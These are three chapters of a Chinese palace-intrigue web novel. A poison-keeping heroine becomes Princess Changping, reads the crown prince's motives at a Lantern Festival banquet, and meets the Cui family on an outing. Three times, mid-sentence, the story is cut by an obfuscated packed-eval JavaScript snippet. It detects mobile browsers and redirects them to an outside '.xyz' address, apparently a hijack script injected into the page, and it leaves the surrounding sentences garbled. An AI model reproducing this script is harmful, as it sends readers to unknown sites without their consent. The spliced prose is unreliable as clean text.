“……”不知怎么回事,桃枝的脸又红了:“姑娘怎么算不得娇客……就算是比那些王公贵女,宫里的公主,姑娘也是比得上的。” “哦?”晓山青露出了一个狡黠的笑容,“有了小桃枝这句话,我改日可得去看看那些小姐公主的模样。” “姑娘可歇下了?”挽霞姑姑在这时候撩起珠帘,探身问道。 “没……正和桃枝说话呢。”晓山青答道。 挽霞姑姑走过来替她拉了一拉床幔,俯身靠过来,低声道:“外面枕流求见姑娘。” 又略微顿了顿,补充道:“姑娘若是不想见他,也不必为难。我叫他明日再来。” 晓山青对此倒是没有一点意外。 “有劳姑姑让她们先退下吧。”她眨眨眼睛,又轻声补了一句:“我套件衣服,让他悄悄进来就是。” 她原以为他会明日来,没想到今夜便登门了——看来是很怕白仙了。这样想着,她的眼神也忍不住飘忽起来。 * 等枕流进来的时候,晓山青已经坐到了窗边,披着杏子红的外衫歪在一把凭几上,只是长发没梳起来,依旧懒懒地搭在她的肩上。 枕流低着头进来了。 他依旧那一身夜行衣的黑色,身量挺拔,在这样挂满了流苏与珠帘的闺房里显得有些格格不入。 晓山青没料到的却是,他身后还跟进来了一个有些桀骜的少年。也是黑色劲装,双手抱在胸前,蹙着眉,满脸的不耐烦,反倒是让晓山青想到了谢歧。 真奇怪——怎么又想到那个小怪物去了? 晓山青又多看了两眼。 两人确确实实生的不像,但眉宇之间都有一股“不服管”的劲儿。不过……谢歧比他更阴郁,也更会伪装。嗯,这种阴晴不定、说翻脸就翻脸的小怪物,天下还是难找出第二个来。 “枕流?”晓山青指了指枕流,又指了指他身边的少年,“漱石?” “是。”枕流低声应了一声,略显意外,“姑娘好眼力。” “他今日夜值结束了?”晓山青随口问道。 “是,他刚刚和同僚换完了班。”枕流解释道:“师父要我们一起过来见一见姑娘……顺便归还此物。” 他说着僵硬地抬起了胳膊。白仙慢慢地从他的袖口爬出来,晓山青一伸手,它就急急忙忙地窜过来,绕到了晓山青的腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488527|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,目标明确地就要往她胸口趴。 晓山青:“……” 晓山青扯着它的尾巴把它扯下来,又转头郑重地对枕流道谢:“多谢你。” “你是得好好谢谢他。”一直冷眼看着他们的漱石猛地开口:“若不是枕流心软,你带着这蛇根本近不了殿下的身。这等毒物,你若敢带进来,它必在我剑下变成两截死蛇!” 话音还没落地,白仙已骤然昂起了蛇首,警惕地看向他。而晓山青一把把它按了回去,挑眉道:“你若敢动它一下,第二天就会烂在床上,满长安都没有人能救得了你。” “你试试?”漱石怒道。 晓山青毫无惧意,也学着他的话道:“你试试?” “可别到时候你师父还要为了你来求我,你真是好大的脸。”她轻笑起来。 “你……” 枕流忍无可忍,出声打断了漱石的话:“你哪儿来那么大的火气?” “这丫头给师父下蛊,”漱石的声音里全是被迫把话憋回去的恼火,“还把那些虫蛇丢你身上……不是存心在戏弄你是什么?” 是为了她的白仙不变成两截死蛇。晓山青忍不住在心里翻了个白眼。 “这件事是我做的不对,情急之下出此下策。”她冷冷道:“但你也得给我看清楚了。你们师父知道的东西那么多,我不信他没给你透一点口风。” “既然如此,你也能猜到我到底是什么出身。”她的声音像是悬在夜色之中的刀斧,“我不是好惹的——” “别随便碰我的白仙——还有我的蛊。” 空气里一时间静默了下来。 晓山青看到枕流几次想要开口,但没想到最后出声的居然是漱石。 “这条蛇……叫白仙?”他说。 晓山青:“?” “……算了。”他好像有点恼羞成怒,“我管它叫什么呢?你最好当心点,别被这些邪门玩意儿反噬了自己,早点……早点把这些东西丢干净为妙!”说罢,猛地转身,大步流星地走了出去。 “……”晓山青转头去看枕流:“他是不是生下来时脑子就不太好用?” 枕流沉默了一下,淡淡道:“姑娘别与他计较,他就是嘴快。” “呵呵。”晓山青冷笑道,“我看不是嘴快,是嘴贱,以后还是不要让我看见他为好。” 一个会跟她呛嘴的谢歧已经够烦的了,她不想再碰到第二个了。她的时间有限——耐心也不多。 “你也快回去吧。”晓山青又恹恹地歪到了凭几上,“把我那个包裹交给挽霞姑姑就行,里面也没什么要紧东西。” “是,属下告辞。”枕流抱了抱拳。 晓山青随意地挥了挥手:“这句叫早了……还是等尘埃落定以后再叫吧。” 她没有再理会他,只是微微推开了一线窗户。 寒风往温暖的屋内涌了进来。跟着进来的还有一只小小的甲虫,翅鞘在烛火下闪过幽幽的油光。 一只,两只,三只…… 在没人看见的角落,晓山青用舌头抵了抵含在齿间的蛊哨,耐心地等着它们依此爬到掌心。 26. 宫宴 甘宁十五年冬,昭宁长公主之女进宫。见其容,太后悲喜交集,执其手揽入怀中,轻抚其背连呼其乳名十数声。左右宫人无不掩涕。 甘宁十六年正月初三,宫中小宴。宴中,长公主肃整仪容,伏阶为女请封。圣人怜其女命途多舛,念长公主慈母之心,亲封昌平郡主,享八百户食,赐金册、宝印。 甘宁十六正月初四,郡主入宫拜谢圣恩。上见其举止端方,动静有度,貌肖似长公主,乃对左右而叹,赞其温如琼玉,贞静娴雅,赐其国姓。 或许有许多人会记得这个甘宁十六年的开头。但对于小桃枝来说,那实在是个平平常常的冬天。她只记得长公主从宫中夤夜而归,把尚且还不是昌平郡主的姑娘叫去了大书房内。 没人知道她们那一夜说了什么话。 桃枝与两个姑姑一并守在门口。门打开的时候,从书房里走出来的姑娘似乎与往日没什么区别,面上依旧是带着笑意,乍然被门外的寒风一吹,还轻轻地哆嗦了一下。 桃枝赶紧跑过去摸了摸姑娘的手,又把早已备好的袖炉塞进了她手心里。 姑娘看了看她,小声说了一句谢谢,随后她又像是被什么吸引了注意力,幽幽的目光拂过了她的头顶,望向了檐角灯笼不能照亮的夜色里。 “……哇。”小桃枝听见她轻轻地叹道,“这就是雪吗?” 下雪了吗? 桃枝下意识随着姑娘一起抬头。忽见漫天的大雪从铅色的云里落下,柳絮般飘飘荡荡地飞过了天空。 “姑娘……”桃枝收回了视线,却看见姑娘还仰着头。雪白的兔毛领子里露出一段纤长的、细腻的脖颈,有雪粒子钻了进去,她依旧浑然不觉望着天空,像一个着了迷的孩子。 “原来这就是雪。”她从嘴边呵出一团白气,笑眼弯弯地转头过来对着她说话,“它原来这么冷。” 这句话简直是没有道理极了。 哪有雪是不冷的?叫随便哪个破庙里的乞丐都知道冬天的雪有多冷。 桃枝想。 长安的冬天本就冷,下了雪,冬天就冷得更加难熬。不过没关系,长公主府里从不会短了她们这些婢女的炭火,因此这句话就这样简单地从桃枝心里滑了过去。她没有来得及细想,更没有来得及琢磨姑娘声音里那点几不可闻的迷茫,就听到另一道女声从屋内响起。 “想清楚了吗?”桃枝听见公主这么问道。 桃枝赶紧跟着两个姑姑一起行礼。 “嗯。”是姑娘的声音。 桃枝悄悄地抬眼,看见昭宁长公主已从屋内走了出来,站到了姑娘身边。而她的姑娘像只雏鸟一样依偎在了公主的怀里,又笑嘻嘻地说了一句话。 那句话就这样轻轻地落进了雪夜里,像一片没有什么分量的雪花,被风一吹,飘进了无边的天地。 可所有人都听见了。 她说:“天予不取,反受其咎。” “阿娘带我进宫面圣就是。” 翌日,上独召昌平郡主。昌平郡主入宫叩谢圣恩。 * 从宫里回来的昌平郡主正斜躺在美人榻上,她最得力的婢女正拿小锤为她轻轻地敲着手。 “……郡主,圣人可是日角而隆准,天庭饱满,地阁方圆,紫气覆面,不怒自威?” “你哪儿学来这些词?”昌平郡主疑惑地眨了眨眼睛。 听郡主这样问道,新晋为一等婢女的小桃枝不免有点泄了气,哼哼了几声,小声道:“长公主替我们这些从小进府的婢女请过知书的嬷嬷当西席,奴婢还是勉强念过几本书的……哎呀,郡主快说呀。” 新晋为昌平郡主的晓山青也依着她的话仔细回想了一下。 那确实是一个很有威仪的中年人,高高地坐在书案之后,但声音又很平和。 “你过来。不必叫我圣人,喊我阿舅就好。”这是圣人对她说的第一句话。 于是晓山青抬头看了看圣人。他看上去并没有什么“紫气覆面,不怒自威”之相,反而有点疲惫,像一个寻常的四五旬的家翁,正招手叫小辈过去较考学问。 “……倒也没有,圣人待我随和的很。” “……那,那郡主可见了太子?” “确实是见了。”晓山青懒洋洋地答道。 桃枝紧张地追问:“太子殿下可是真如传闻之中一般龙凤之姿,天日之表?” “嗯……是吧?”晓山青如实道,“你们为什么都那么喜欢太子?” “那还用说吗?整个长安城,就是算上崔、王、陈、陆的那几位公子,太子也是最……最……” 小桃枝忽然就羞怯了起来,哼哼唧唧地不再说话。 晓山青不得不自己补全这句话:“最温和知礼的?最英俊潇洒的?最玉树临风的?”她忍不住咂咂舌,“但若说生的好看,也没好看到……反正我见过更好看的呢。” 晓山青伸手过去掐了掐小桃枝的脸:“那个才叫真的好看,他站在你面前假模假样对你笑的时候,你怕是连眼睛都舍不得眨。” 桃枝呜呜呜地叫了两声,停下了手里的小锤,好奇道:“郡主到底是从哪里来的?明明郡主的官话说的那么好,还总是哄奴婢是从山里来的。” “没骗你,你的郡主当真是从山里来的。”晓山青闭眼答道。 这可算不得什么谎话。 * 甘宁十六正月初十,长公主为昌平郡主设宴。有清河崔氏、琅琊王氏、京兆陆氏、英国公夫人、靖国公夫人等命妇携女应邀而来。次日,崔氏并王氏的小辈送了帖子来邀昌平郡主。 甘宁十六正月十五,上元节宫宴。 对晓山青来说,所有宴会都是一样的冗长又无趣。 在她变成“昌平郡主”后,想要登门拜访她的人多如过江之鲫,每日收到的帖子都有厚厚一叠。那些薰了梅香、梨香还有不知道什么香的小帖被桃枝安置在一个带了锁的桃木匣子里,不过十日的功夫,就快要放不下了。 阿娘并不拘着她,晓山青也乐得轻松自在,总在宴会中悄悄溜出去。不过在这场上元宫宴之前,齐云姑姑还是抓到了她,盯着她把长安城里的世家谱系都背了一遍。 禀烛到天明的晓山青如今正坐在了明亮的琉璃宫灯、金灿灿的屏风与华美的壁衣之间。旁边的火盆里点着上好的银丝炭火,墙壁里椒泥散发的辛香与雕银莲花香炉里的水沉香一起细细密密地包裹住了她,将她熏得昏昏欲睡。 上元佳节,宫中更是张灯结彩。太极宫里的人不多,但都是平日里颇受圣眷、又互有姻亲关系之人,算是一个“小家宴”。圣人独坐上首,旁边是崔贵妃与王淑妃两位各有千秋的美人。左下侧的首位是昭宁长公主,右下侧则是穿着一身华贵锦袍的太子。再往下是几位老王爷,功勋在身的国公及其家眷。小辈被排在最下面,晓山青对面是尚未封王的皇子与尚且被奶娘抱着的公主,旁边则是几个县主与国公府里的姑娘——真是满室的王孙勋贵。 有两三宫女垂眸在她身边服侍,行走之间,只有环佩发出轻轻的碰撞声。她左右的贵女也均是安静地坐着,面前的瓜果美食不过沾一沾口,几乎动也不动。 晓山青看了看她杯中的残酒,忍不住叹了一口气——她这样一个初来乍到、来路不明、还“父不详”的郡主竟显得有些格格不入了。 她侧头望向阿娘。 上首君臣已酒过三巡,几个老国公已面红酒酣,聊起了年轻时的趣事。阿娘独自一人坐在连枝灯璀璨的光里,似乎注意到了她的目光,微微地朝她笑了笑。 晓山青也忍不住微笑了起来。 是了。 她与这些人也没什么区别。 他们绝大多数人坐在这里,是因为他们有着尊贵的父亲、尊贵的丈夫。而她坐在这里,则是因为她有一个尊贵的母亲。 有什么分别呢? 没有分别。 她甚至可以比她们更加骄傲——因为她的阿娘那样厉害。她上过战马,打过契丹,回忆起战事时能让那几个老国公拍着大腿叫好,恨不得亲自冲过来给她倒酒。 她应该比她们更加骄傲。 * 靡靡的丝竹之音慢慢退下,热酒添过一轮又一轮。 宴会将散,圣人一时兴起,要带着几位老国公等上宫城看灯,一众人自然也跟在后面。 出了太极宫,有宫人提灯带路。那几个自幼相识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488528|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的姑娘不知不觉间走到了一起,悄悄说起话来。走在她们前面的晓山青也分了一点心神,悄悄留了一个耳朵。 几个姑娘互相使着小眼色,还是英国公家的陈三姑娘先开了口:“问雪,今日你可与昌平郡主说话了?” 被喊作“问雪”的崔家姑娘低声道:“打了个招呼罢了……我哪里敢在宫宴上乱来。” “……你们可听说那个了吗?” “哪个哪个?” 几人凑做了一团。晓山青也忍不住竖起了耳朵。 “就是那个……我听说昌平郡主是幼时有了什么机缘,被老和尚带走出了家,年满十六,修行圆满,这才能再续红尘亲缘……” 晓山青:“……” 你们应该也不会认识什么别的老和尚了……那这个老和尚不会刚好是那个赠玉的护国寺住持,又刚好叫什么了悟大师吧? “不不不……我听说呀,是郡主幼时身子不好,被长公主送去了蓬莱仙山上清养,蓬莱的仙长们是等郡主好全了才肯让郡主下山呢。”有人压着声音道。 晓山青:“……” ……这个倒是对了一半,前半截对了,但后半截是一个字也没对上。 “错了,错了。我听说是郡主是先天命里有缺,被云游的道人带去修炼了。如今才被司天监的少监找到呢……”姓王的姑娘捧着袖炉道。 晓山青:“……” 晓山青若有所思。 她猜,大概,是阿娘怕有人拿她“流落在外”的经历做文章,所以抢先放了什么风声出去吧? “那为何我那日去昭宁长公主府里赴宴,长公主对我阿娘说郡主只是体弱……”崔姑娘似乎还在为她据理力争。 “但是……” 这些不过十五六的姑娘又争了起来,像一群可爱的小狸奴。 晓山青难得地想起来一个故人来。 陆姑娘在长安时也该是这副样子吧? 与这群金玉一样的贵女一起,饮茶作诗,焚香对弈,踏雪寻梅,这天地间应该全然没有能叫她们烦恼之事。 “……阿青妹妹在想什么?怎么不知不觉走起神来?”耳边忽然响起男子醇厚的声音。 晓山青回头看了看队伍。城墙上难免逼仄了些,她刚刚走远了几步,落到了一边。而本来跟着她的小桃枝似乎一时被烟火晃了晃眼,没有跟上她的步伐,正在不远处有些慌乱地找她。 “想起了一个故人。” 晓山青捧着袖炉站在原地,只露出一个懒洋洋的笑来,随口敷衍道:“我从山里来,不识礼数,还请太子哥哥见谅了。” “妹妹说笑了。”太子不在意地笑笑。 他低沉的笑声钻进耳内,晓山青莫名觉得有些难受。她沉默了一会儿,开口道:“殿下,还是唤我昌平吧,我还是比较喜欢舅舅新给我的封号。” 太子的眼神在暗色中微微闪了闪:“也好。” “那昌平妹妹若在宫里看中了什么,尽管同孤说。不论是什么书画孤品,还是金玉珊瑚,孤立即遣人把东西送到长公主府上。” 晓山青:“……” 唉。 今天她沉默的时间实在是有些太久了。 但是——太子他在干嘛? 他是在炫耀他一人之下万人之上的权力,还是在炫耀他稳固的太子之位? 又或者是说,她看上去有那么好骗——与那团还在与小雀儿一样叽叽喳喳的贵女一样好骗吗? 唉。 在陆瑶光再次回到长安、梦里的一切再次开始转动之前,晓山青原是准备安安心心地呆在阿娘身边的——眼下,她改变主意了。 “我在山上清养……确实没见过这样漂亮的花灯。”整场宴会中一直提不起精神来的昌平郡主忽地站直了身子,眼波轻轻地一转,在一刹那间变得天真又明媚了起来。 “这个,”那双与长公主极其肖似的眼睛里闪着光,就这样直勾勾地、好奇又妩媚地看着他:“是旁的妹妹都有,还是光我一人有?” 太子看着她,露出了一个春风拂面般、温柔得能把人溺死的微笑来。 他柔声道:“在孤这里,自然是妹妹独有的。” 27. 纽带 “郡主,门房那边又递了帖子来。齐云姑姑的意思还是一样,去不去都由我们梨落院自己定。”小桃枝从门外走进来,手里捧着一份烫金的名帖。 晓山青正坐在书桌前写大字,头也不抬道:“不去不去,都帮我回了。” 她忙着练字呢。 启蒙时候她的字被阿爹抓着练过,但阿娘的要求比阿爹还高。晓山青不得不苦哈哈地捡起文房四宝。 “是崔、王两家送来的。”桃枝也不急,继续道,“几位姑娘想请郡主去诗社玩呢。” 晓山青从脑袋里翻出这两个姓氏来,又与名帖上的名字一一对上号来:“崔问雪?王……若宜?” 一个是清河崔氏的三姑娘,父亲官至中书侍郎,但前头中书令把位置坐得稳稳当当,因此数年不得寸进。族中还有几个叔伯在户部、礼部领了闲差,最好的也不过是侍郎。 一个是琅琊王氏的四姑娘,父亲是吏部尚书,手握铨选之权。虽说两个叔伯都是外放,但去的都是富庶地方,品级也不低。还有一个兄长,下场第一试便中了榜眼,却又自请进了工部,如今已在最清苦的位置上呆了四五年。 比起如日中天、炙手可热的陆家,崔、王在这几年来确实没有再出过天子近臣,但宫里两位最得圣心的娘娘又是出自崔、王两家。除去这些表面上的关系,暗中的人情往来、门生故吏,又是盘根错节、环环相扣。 “郡主记得一点也不差。”桃枝笑道。 “好姑姑净是给我出些难题……算了,拿来给我看看吧。”晓山青叹了一口气,放下了笔,走到水盆边净了净手。 桃枝亦步亦趋地跟着她,拿来了架子上的细布给她擦干了手上的水珠,又捧来帖子给她看。 那张撒金粉宣笺纸之上,一手簪花小楷清秀端丽,遣词婉转含蓄,是来邀她上巳节一同出游赏春的。 类似的小宴、雅会,晓山青也去过了几次。今日你请,明日我请,有时是在谁家的园林办宴,有时又是由崔、王两家的几位公子带着她们去城外踏青。 如今虽有礼教约束,但并不严设男女大防。年轻人凑作一堆,自有层出不穷的玩法。投壶射箭,捶丸斗草,藏钩射覆。若是席间备了酒,更少不了飞花传令、曲水流觞,直至尽兴方归。 晓山青若有所思:“……王四姑娘与崔三姑娘邀我的次数是不是有些多了?” “郡主可是圣人亲封的昌平郡主呢。”桃枝不解道。 “是圣人垂怜我年幼便与母亲分离,特地越级加封的虚名罢了。”晓山青摇了摇头,思索道:“我的意思是,正月初十那日阿娘替我设宴,邀的都是与我年纪相仿的贵女……按理说,如英国公府的陈二姑娘、三姑娘一般,隔个十几日再回请我便是。偏偏第二日,王、崔两家便已送了帖子过来。” 实在是太快了。 桃枝愣了一下:“奴婢随郡主见过这几位贵女……只觉得几位姑娘都是心善的可人儿,待郡主也极是真诚,好像也没有什么坏心……” “是没什么坏心。”晓山青有些不在意地点了点头,“也没什么,反正既不谋我的财,又不害我的命。” 晓山青跟着她们玩了几次。这群小姑娘间就算有了点不和睦,也不过是相互斗斗嘴,赌赌气,软绵绵地口角争执一下罢了——她蛊盅里两只毒虫凶斗都比她们这小打小闹来得狠毒。 听着她后半句话的小桃枝又是倒吸了一口冷气,急道:“郡主!” 晓山青挑了挑眉:“好了好了,逗你的。这诗社总共也不过九十来个人,还都是十指不沾阳春水的贵女,能有什么坏心思呢?” 就是不知道到底是谁在催着她们来与她交好。 晓山青又低头翻了翻手上的帖子,目光漫不经心地扫过了屋子角落的花灯上后,微妙地停顿了一下。 那盏从宫里带回来的花灯是绣球的形状,层层叠叠,玲珑剔透,能随风滚动,最小的绣球中间是一枚被雕成金盏银台形状的灯台,以花蕊做灯芯,精致又可爱。这样价值连城的东西被她随手丢在了吃灰的地方,一丢就是一个月。除了这盏灯,占据这个角落的还有她慷慨的太子表哥一并给她送来的各种能拿来“解闷”的小东西,诸如白玉九连环、螺钿双陆棋、一整套的夜光琉璃盏,还有一尊可握于掌中的象牙微雕小船。 “表哥送了我几次东西?”她意味不明地问道。 桃枝没跟上她的思路:“郡主说的是哪个表哥?可是前几日登门的安王世孙?” “当然不是。”晓山青轻轻笑道,“我说的是我们的太子殿下。” 不等桃枝说话,她就自顾自地回答了这个问题:“好像也就那一次吧?” “他怎么不继续送了呢?”她又继续问道。 晓山青再一次把目光移到了手上。这一次,她长长久久地注视着这张漂亮的、熏了香的名帖,好像这薄薄的纸面上还藏着什么她没看到的东西。 他怎么不继续了呢? 因为他是一国储君,是住在东宫的太子。 他既嫡又长,有半数朝臣辅佐,而幼弟年幼,宗室无人。他的权力已是一人之下万人之上,他的位置已经稳固得无可动摇。 如果一个人同时拥有了以上两样东西,那么他想要得到什么,一定会有人帮他得到。同样,他想要交好什么人,也一定会有人帮他交好。 “真奇怪,王、崔两家明明各有娘娘在宫中,却都在心甘情愿地帮太子办事……而陆氏的祖孙两人,一个太子太傅,一个是天子近臣,偏偏都要当清流,在干直臣、孤臣才干的事。”晓山青喃喃道。 “……那太子为什么要让王、崔两家来交好我这个‘昌平郡主’呢?” 昌平郡主与晓山青可不一样。 晓山青是没有什么把柄的人。她自由自在,无所欲,无所求。天下没有什么绳子能拴住晓山青,如今她呆在长安,也只是呆在长安。她绝不会在这里扎根。“长安如梦里,何日是归期”的长安不属于她,“故园东望路漫漫”的长安也不属于她,她不过是个旅人,是个过客。阿娘在这里,她便为了阿娘在这里略停一停;若阿娘不在这里,这里便与任何一座中原的城池并没有什么分别——她也就毫无留恋地走了。 但昌平郡主却不一样。这是由这片天下的主人给她的新名字,这个新名字也衍生出一个全新的人。“昌平郡主”是圣人亲封的郡主,是天潢贵胄,是金枝玉叶,那她就该遵守长安城里的规矩。吃穿用度,衣食住行,交往的密友,甚至是将来的婚配——“昌平”的人生并不被握在她的手里。她是可被“支配”的,谁给了她名字,谁就可以“支配”她的选择。 晓山青或许永远想不明白这个问题,但是“昌平郡主”可以。 “……因为我的名字与阿娘紧紧绑在一起。”昌平郡主笑了起来。 而这是唯一她无法辩驳、无法改变、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488529|185748||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法丢弃的纽带。是晓山青与昌平郡主共同拥有的东西。 “所以他想通过我,来动摇我的阿娘。” 那副漂亮的名帖从她手里飘了下来,坠到了地上。她依旧注视着它,带着她平日里惯有的轻松的笑意。 微风从未合严实的窗隙间出来,轻轻拂动了她的发尾。两枚银环叮当作响。 桃枝小心翼翼地出声:“郡主?” “没事。”昌平郡主摆了摆手,转身坐回了她的椅子上,提起了刚刚放下的笔。阳光明明笼罩在她身上,却好像怎么也驱不散她身上残留着的冬日寒意。 不知为何,桃枝莫名觉得她冷。 “……郡主,要不要奴婢再舔个炭盆?” “嗯?”郡主奇怪地抬眼看了看她,“不用啊,我不冷。” “真的?”她有点不安。 “真的。” “……郡主,那,那我们还去吗?”桃枝低声问道。 “去,当然去。” “不过既然是他们对我有所图谋……”她的郡主叹道:“那就劳烦他们早些出门,来长公主府接一接我吧。” * 东风解冻,蛰虫始振。 过了惊蛰以后,白仙一日比一日越发的焦躁,也到了该把白仙带出去放风的的时候了。 三月初三,上巳节。 晓山青于诗词一道上算不得精通,但怎么也读过那么几个句子。去往曲江的路上,马车在青石路上摇摇晃晃,她便也跟着摇摇晃晃地念了出来:“兰亭席上酒,曲洛岸边花。” “何处春深好?春深上巳家。”坐在她身边的崔三姑娘微笑着对出了上阕,又叹道:“白大家此句,最妙的便是这信手拈来的闲适意境。” 这风雅的话题晓山青接不上来一点。但所幸她现在是“昌平”,自然有人帮她接上了这句话。 旁边的崔四姑娘扶着额角开了口,“哎呀呀,好姐姐,怎么在马车上便说起这个来了……我头都要晕了。” “每次说起诗词文章,燕娘都要装晕。”崔问雪忍俊不禁,拿起手边的一卷书轻轻敲了敲堂妹的额头,“二伯母这样一个文采斐然的才女,怎么传半点诗才给你?” “问雪可别为难燕娘了。”马车外也传来了男子的轻笑声,“她就是这榆木脑袋。” 说着顿了顿,似乎想起车内还有贵客,“让郡主见笑了。” 晓山青摇着小扇摇头答道:“怎么会?” 她伸手掀开了窗边的珠帘,好奇地往外望去:“崔家阿兄,还有多久才到?” 马车外的高头大马上是一二十余岁的俊朗男子,身着圆领澜袍,腰束玉带,闻言勒了勒缰绳,低头靠近了马车:“还有两刻钟便到了。郡主若是坐得难受,我让车夫……” “不用不用。”晓山青眨眨眼睛:“不过今日还得多谢崔二公子来接我。虽说方才已向三姐姐谢过一遍,但怎么也要向二公子再谢一遍才是。” “小事而已,郡主不必挂怀。” 晓山青点点头,正要坐回去,却见崔二又向她拱了拱手,斟酌着开口:“……郡主,还有一事,在下要先道一声告罪。” “……家里有个弟弟,单名一个泓字,字涉川,是我三伯晚来得子,因此宠得过分了些。若他今日有冒犯郡主之处,还请郡主多担待。” ……崔泓,崔涉川? 好耳熟的名字。晓山青想。 28. 白马 是那个从她身边打马而过的少年吗? 晓山青其实完全记不清他的脸了,但她记得他那匹白马,它在阳光下奔跑时闪闪发光的皮毛像一块流淌的银缎。 桃枝扶着她下马车的时候,晓山青忍不住回头看了看崔二所骑的马。 也是一匹白马。虽说也是皮毛光滑,通身无一点杂色,但还是比不上那匹神采飞扬的神骏。 ……难不成崔家的人出行都要清一色的白马不成? “崔二公子也喜欢白马?” 崔问雪被她问得有些纳闷,撩起帷帽前的轻纱看她:“……这个‘也’字从何而来?” “自然是因为我也喜欢。” 晓山青上前挽过了她的手,凑到她耳边跟她讲悄悄话:“我最喜欢三样东西,银碗盛雪,明月藏鹭,白马照芦花。这秘密我只告诉问雪一个,问雪可不准说出去哦。” “雪霁千山净,月寒一窗明。云停虚牖素,鹭没晚沙清。”崔问雪抿唇轻笑了起来,“郡主心有丘壑,有林下之风。” 怀里的白仙动了动。 它可能没听懂。不仅没听懂,还自信地误以为这几句话夸的是它。 晓山青一边悄悄把手伸进袖子里敲了敲它的尾巴,一边用小团扇掩住了脸,笑道:“我不算。我不过是附庸风雅的俗人而已,哪里当得起得上长安第一才女的夸奖。” “二哥哥,你评评理。”崔问雪嗔了她一眼,扭过头去对兄长道:“我夸郡主,郡主不领情,竟还挤兑起我来了。” “我不理你了。”说着便扶着帷帽,佯装要走。 晓山青“呀”了一声,抓着她求饶:“好姐姐,可别不理我呀。” 崔问雪不说话,只管斜睨着她。 “错了错了,好姐姐,我知错了。”晓山青笑道:“我可是头一次来这儿。既是崔姐姐邀我出来玩的,可千万不能把我一个人丢在这里。” 还没追几步,身后忽然传来一阵急促的马蹄声。 晓山青豁然回头,已本能地想要向旁边闪去,却又硬生生地按住了自己的身形。 不过这样一刹那的功夫,那疾驰而来的白马已到了她身边。马上的人勒紧了缰绳,还没等马站稳,就翻身下了马——是一个十六、七岁的少年郎。 “二哥,我可来迟了吗?”少年一边把身上背着的箭袋丢到了旁边的仆从身上,一边大步从晓山青身边走过。 带起的风撩起了晓山青的帷帽。晓山青就从这缝隙里看到了他的脸。 果然是他。 “先见过郡主再说话。”崔二公子板正的声音从旁边传来。 少年巡视了一圈,才把目光落定在了在场他唯一陌生的少女上。 她已伸手拂开了帽缘的轻纱,露出半张芙蓉面来。尖尖的下颌,大大的眼睛,就这样歪着头、一瞬不瞬地看着他。 “昌……昌平郡主?”崔泓只觉得自己的舌头打了结,磕磕巴巴地,吐出了这么一句话来。 她没有回他的礼,也没有挪开黏在他身上的视线,只问道:“那是你的马吗?” “我的……我的……我的什么?”他有点茫然,疑心自己听错了,不由自主地望向了被少女挽着的三姐姐。 “郡主是在问你的流风。”崔问雪叹了口气,还是替他圆了场,又悄悄碰了碰那少女的胳膊,轻声介绍道:“喏,这便是我们崔家最不成器的五郎,郡主还是莫理他,不要多同他讲话为好。” ……不要不和他说话啊!崔泓莫名其妙就慌张了起来。 他刚想开口,却见那少女笑了起来。 “好,我不与他讲话,”她笑得狡黠极了,简直像一只山野里的小狐狸跑到了他面前,“我就是问问他的马。” 于是崔泓便看到她盈盈的目光又转了回来,再一次落在了他身上……不,不是他身上,是他身后。 崔泓回头看了看他的宝贝流风,忍不住沉默了。 少年反手握着马鞭,立在马边认真想了想,随后露出了一口白牙,兴高采烈道:“……我叫崔泓,字涉川,在崔家行五。郡主可是想学骑马?其实骑马简单得很,我来教郡主就是!” 好像所有人都沉默了一瞬间。最后还是崔问雪忍无可忍地打断了他:“今日是我与若瑜邀了郡主来,你要借郡主走,怎么也得问问我才是!” 崔泓眼睛亮晶晶的:“那三姐姐……” “不借!” * 曲江岸边,杨柳依依,满目清透的绿色。三月初三,风里还透着微微的寒,嫩绿的草丛里已经开了一簇又一簇的不知名的白色小花。 岸边已有许多人在忙碌。这“许多人”里并不会有举着风车吱哇乱叫的小娃娃,也不会有挑着香喷喷的饼子卖的妇人,更不会带着一箩筐针线杂物四处兜售的货郎。 这幽静、美丽的两岸显然是属于贵人的。 崔家的仆妇已经早早地过来,挑了近水又有风的好地方支好了帐篷与围帐,垫了细竹编织的席子,又用各种皮毛与锦缎铺满了贵人行动的地方。热水已经备好,茶汤的香气已从红泥小炉里飘了起来,连琴都已经安置好了——就放在一块架起的高台之上,晓山青一眼就望见了。 “这次可不能让二哥哥再逃了。”崔四姑娘还在兴致勃勃道:“上回还想叫他给我们诗社当个评审,一回头的功夫,他与王家哥哥都不知跑到哪里去了……还好瑶光请来了太子殿下与陆家哥哥。” 晓山青的目光微微一闪。 